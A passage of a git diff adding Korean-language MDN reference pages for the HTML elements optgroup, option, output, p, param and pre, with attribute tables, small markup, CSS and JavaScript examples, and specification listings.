+title: <optgroup>
+slug: Web/HTML/Element/optgroup
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/optgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;optgroup&gt;</code> 요소</strong>는 {{HTMLElement("select")}} 요소의 옵션을 묶을 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/optgroup.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>0개 이상의 {{htmlelement("option")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 바로 뒤따르는 요소가 다른 <code>&lt;optgroup&gt;</code>이거나, 자신이 부모의 마지막 자식이라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("select")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLOptGroupElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>&lt;optgroup&gt;</code> 요소는 중첩할 수 없습니다.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우 모든 하위 옵션을 선택할 수 없습니다. 브라우저에서, 비활성화 옵션은 주로 회색으로 보이며, 클릭과 포커스 등 모든 이벤트를 받지 않습니다.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>옵션 그룹의 이름. 브라우저가 그룹의 이름을 표시할 때 사용할 수 있습니다. 필수로 지정해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;select&gt;
+ &lt;optgroup label="Group 1"&gt;
+ &lt;option&gt;Option 1.1&lt;/option&gt;
+ &lt;/optgroup&gt;
+ &lt;optgroup label="Group 2"&gt;
+ &lt;option&gt;Option 2.1&lt;/option&gt;
+ &lt;option&gt;Option 2.2&lt;/option&gt;
+ &lt;/optgroup&gt;
+ &lt;optgroup label="Group 3" disabled&gt;
+ &lt;option&gt;Option 3.1&lt;/option&gt;
+ &lt;option&gt;Option 3.2&lt;/option&gt;
+ &lt;option&gt;Option 3.3&lt;/option&gt;
+ &lt;/optgroup&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;optgroup&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.optgroup")}}</p>
diff --git a/files/ko/web/html/element/option/index.html b/files/ko/web/html/element/option/index.html
new file mode 100644
index 0000000000..8120464d9f
--- /dev/null
+++ b/files/ko/web/html/element/option/index.html
@@ -0,0 +1,101 @@
+---
+title: <option>
+slug: Web/HTML/Element/option
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Reference
+translation_of: Web/HTML/Element/option
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;option&gt;</code> 요소</strong>는 {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}} 요소의 항목을 정의합니다.</span> 그러므로, <code>&lt;option&gt;</code>을 사용해 팝업 메뉴 등 목록에서 하나의 항목을 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/option.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>텍스트. 이스케이프 처리한 문자(<code>&amp;eacute;</code> 등)도 가능.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 바로 뒤따르는 요소가 {{htmlelement("optgroup")}}, 다른 <code>&lt;option&gt;</code>이거나, 자신이 부모의 마지막 자식이라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLOptionElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우 이 옵션을 선택할 수 없습니다. 브라우저에서, 비활성화 옵션은 주로 회색으로 보이며, 클릭과 포커스 등 모든 이벤트를 받지 않습니다. <code>&lt;option&gt;</code>에 <code>disabled</code> 특성을 추가하지 않더라도, {{HTMLElement("optgroup")}} 등 조상 요소로 인해 비활성화될 수 있습니다.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>옵션의 뜻을 나타내는 텍스트. 지정하지 않은 경우, 요소의 텍스트 콘텐츠를 대신 사용합니다.</dd>
+ <dt>{{htmlattrdef("selected")}}</dt>
+ <dd>지정한 경우 초기에 이 옵션을 선택한 상태로 설정합니다. {{htmlattrxref("multiple", "select")}}를 지정하지 않은 {{HTMLElement("select")}} 요소의 자손인 경우, 하나의 <code>&lt;option&gt;</code>만 <code>selected</code> 특성을 가질 수 있습니다.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>양식 데이터를 구성할 때 사용할 값. 지정하지 않은 경우, 요소의 텍스트 콘텐츠를 대신 사용합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("select")}} 요소를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-option-element', '&lt;option&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-option-element', '&lt;option&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;option&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.option")}}</p>
diff --git a/files/ko/web/html/element/output/index.html b/files/ko/web/html/element/output/index.html
new file mode 100644
index 0000000000..24e154783d
--- /dev/null
+++ b/files/ko/web/html/element/output/index.html
@@ -0,0 +1,104 @@
+---
+title: '<output>: 출력 요소'
+slug: Web/HTML/Element/output
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - 'HTML:Flow content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/output
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;output&gt;</code> 요소</strong>는 웹 사이트나 앱에서 계산이나 사용자 행동의 결과를 삽입할 수 있는 컨테이너 요소입니다.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(나열됨, 레이블 가능, 초기화 가능), 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLOutputElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>스페이스로 구분한, 다른 여러 요소 {{htmlattrxref("id")}}의 목록. 목록에 포함된 요소가 출력 결과에 공헌했거나 영향을 주었음을 나타냅니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;output&gt;</code>과 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 <code>&lt;output&gt;</code>을 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>요소의 이름. {{domxref("HTMLFormElement.elements", "form.elements")}} API에서 사용합니다.</dd>
+</dl>
+
+<p><code>&lt;output&gt;</code>의 값, 이름, 콘텐츠는 양식 전송 시 제출되지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;form oninput="result.value=parseInt(a.value)+parseInt(b.value)"&gt;
+ &lt;input type="range" id="b" name="b" value="50" /&gt; +
+ &lt;input type="number" id="a" name="a" value="10" /&gt; =
+ &lt;output name="result" for="a b"&gt;60&lt;/output&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('예제')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>많은 브라우저는 <code>&lt;output&gt;</code>을 마치 <code><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Live_Regions">aria-live</a></code> 특성이 존재하는 것처럼 구현합니다. 따라서 접근성 기술은 포커스가 바뀌지 않더라도 <code>&lt;output&gt;</code> 내부의 UI 상호작용 결과를 표현할 것입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-output-element', '&lt;output&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-output-element', '&lt;output&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.output")}}</p>
diff --git a/files/ko/web/html/element/p/index.html b/files/ko/web/html/element/p/index.html
new file mode 100644
index 0000000000..9a993c089e
--- /dev/null
+++ b/files/ko/web/html/element/p/index.html
@@ -0,0 +1,175 @@
+---
+title: <p>
+slug: Web/HTML/Element/p
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/p
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;p&gt;</code> 요소</strong>는 하나의 문단을 나타냅니다.</span> 시각적인 매체에서, 문단은 보통 인접 블록과의 여백과 첫 줄의 들여쓰기로 구분하지만, HTML에서 문단은 이미지나 입력 폼 등 서로 관련있는 콘텐츠 무엇이나 될 수 있습니다.</p>
+
+<p>문단은 블록 레벨 요소이며, 자신의 닫는 태그(<code>&lt;/p&gt;</code>) 이전에 다른 블록 레벨 태그가 분석되면 자동으로 닫힙니다. 아래의 "태그 생략" 항목을 참고하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/p.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>시작 태그는 필수입니다. 닫는 태그는 {{HTMLElement("p")}} 요소의 바로 뒤에 {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}}, {{HTMLElement("p")}} 요소가 위치하는 경우, 또는 부모 태그의 콘텐츠가 더 존재하지 않고 부모가 {{HTMLElement("a")}} 요소가 아닐 때 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLParagraphElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;첫 번째 문단입니다.
+ 첫 번째 문단입니다.
+ 첫 번째 문단입니다.
+ 첫 번째 문단입니다.&lt;/p&gt;
+&lt;p&gt;두 번째 문단입니다.
+ 두 번째 문단입니다.
+ 두 번째 문단입니다.
+ 두 번째 문단입니다.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="문단_꾸미기">문단 꾸미기</h2>
+
+<p>브라우저 기본 스타일은 문단끼리 한 줄의 간격으로 분리합니다. 첫 줄 들여쓰기 등 다른 구분 방법은 {{glossary("CSS")}}를 통해 사용할 수 있습니다.</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;독자 입장에선 문단 사이를 여백으로 구분하는게 제일 읽기 쉽지만,
+첫 줄 들여쓰기로도 구분할 수 있습니다. 들여쓰기는 보통 인쇄매체에서
+공간과 종이를 아끼기 위해 사용합니다.&lt;/p&gt;
+
+&lt;p&gt;학교 과제나 초안 등 나중에 편집할 글은 여백과 들여쓰기 둘 다 사용합니다.
+그러나 완성한 글에 둘 다 사용하는건 불필요하고 초보적으로 여겨집니다.&lt;/p&gt;
+
+&lt;p&gt;아주 오래된 글에서는 문단을 특수기호 ¶, &lt;i&gt;필크로&lt;/i&gt;(단락 기호)로
+구분했습니다. 그러나 답답하고 읽기 힘들어 지금은 사용하지 않습니다.&lt;/p&gt;
+
+&lt;p&gt;얼마나 읽기 힘들까요? 직접 알아보세요.
+ &lt;button data-toggle-text="안돼! 다시 돌려놔요!"&gt;단락 기호 써보기&lt;/button&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ margin: 0;
+ text-indent: 3ch;
+}
+
+p.pilcrow {
+ text-indent: 0;
+ display: inline;
+}
+p.pilcrow + p.pilcrow::before {
+ content: " ¶ ";
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector('button').addEventListener('click', function (event) {
+ document.querySelectorAll('p').forEach(function (paragraph) {
+ paragraph.classList.toggle('pilcrow');
+ });
+ var newButtonText = event.target.dataset.toggleText;
+ var oldText = event.target.innerText;
+ event.target.innerText = newButtonText;
+ event.target.dataset.toggleText = oldText;
+});</pre>
+
+<h3 id="결과_2">결과</h3>
+
+<p>{{EmbedLiveSample('문단_꾸미기')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>콘텐츠를 문단으로 나누면 페이지의 접근성을 높입니다. 스크린 리더 등 보조 기술은 다음 문단으로 넘어갈 수 있는 단축키 등을 제공하므로, 시각적 매체의 여백이 사용자의 빠른 콘텐츠 탐색을 돕는 것과 같은 효과를 얻을 수 있습니다.</p>
+
+<p>빈 <code>&lt;p&gt;</code> 요소를 사용해 문단 사이에 여백을 추가하면 스크린 리더 사용자에게 부정적인 경험을 줄 수 있습니다. 스크린 리더가 문단의 존재는 알려주겠지만, 더 읽을 내용이 없기 때문입니다. 따라서 스크린 리더 사용자가 혼란을 느낄 수 있습니다.</p>
+
+<p>여분의 공간이 필요하다면 {{cssxref("margin")}} 등 {{glossary("CSS")}} 속성을 통해 적용하세요.</p>
+
+<pre class="brush: html">p {
+ margin-bottom: 2em; // 문단 다음 여백을 늘림
+}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.1', '&lt;p&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.p")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/param/index.html b/files/ko/web/html/element/param/index.html
new file mode 100644
index 0000000000..73cc02c32f
--- /dev/null
+++ b/files/ko/web/html/element/param/index.html
@@ -0,0 +1,116 @@
+---
+title: '<param>: 객체 매개변수 요소'
+slug: Web/HTML/Element/param
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/param
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;param&gt;</code> 요소</strong>는 {{HTMLElement("object")}} 요소의 매개변수를 정의합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리 </a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("object")}}. 모든 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 이전에 위치해야 함.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLParamElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>매개변수의 이름.</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dd>매개변수의 값.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("type")}} {{deprecated_inline}}</dt>
+ <dd>Only used if the <code>valuetype</code> is set to <code>ref</code>. Specifies the MIME type of values found at the URI specified by value.</dd>
+ <dt>{{htmlattrdef("valuetype")}} {{deprecated_inline}}</dt>
+ <dd>Specifies the type of the <code>value</code> attribute. Possible values are:
+ <ul>
+ <li><code>data</code>: Default value. The value is passed to the object's implementation as a string.</li>
+ <li><code>ref</code>: The value is a URI to a resource where run-time values are stored.</li>
+ <li><code>object</code>: An ID of another {{HTMLElement("object")}} in the same document.</li>
+ </ul>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>{{HTMLElement("object")}} 페이지의 예제를 확인해주세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-param-element', '&lt;param&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-param-element', '&lt;param&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3.2', '&lt;param&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.param")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("object")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/pre/index.html b/files/ko/web/html/element/pre/index.html
new file mode 100644
index 0000000000..9cc0ef51ca
--- /dev/null
+++ b/files/ko/web/html/element/pre/index.html
@@ -0,0 +1,150 @@
+---
+title: <pre>
+slug: Web/HTML/Element/pre
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - 'HTML:Flow content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/pre
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;pre&gt;</code> 요소</strong>는 미리 서식을 지정한 텍스트를 나타내며, HTML에 작성한 내용 그대로 표현합니다.</span> 텍스트는 보통 고정폭 글꼴을 사용해 렌더링하고, 요소 내 공백문자를 그대로 유지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/pre.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLPreElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<dl>
+ <dt>{{htmlattrdef("cols")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Contains the <em>preferred</em> count of characters that a line should have. It was a non-standard synonym of {{htmlattrxref("width", "pre")}}. To achieve such an effect, use CSS styling instead.</dd>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt>
+ <dd>Contains the <em>preferred</em> count of characters that a line should have. Though technically still implemented, this attribute has no visual effect; to achieve such an effect, use CSS styling instead.</dd>
+ <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt>
+ <dd>Is a <em>hint</em> indicating how the overflow must happen. In modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use CSS styling instead.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;CSS로 글자 색을 바꾸는건 쉽습니다.&lt;/p&gt;
+&lt;pre&gt;
+body {
+ color:red;
+}
+&lt;/pre&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
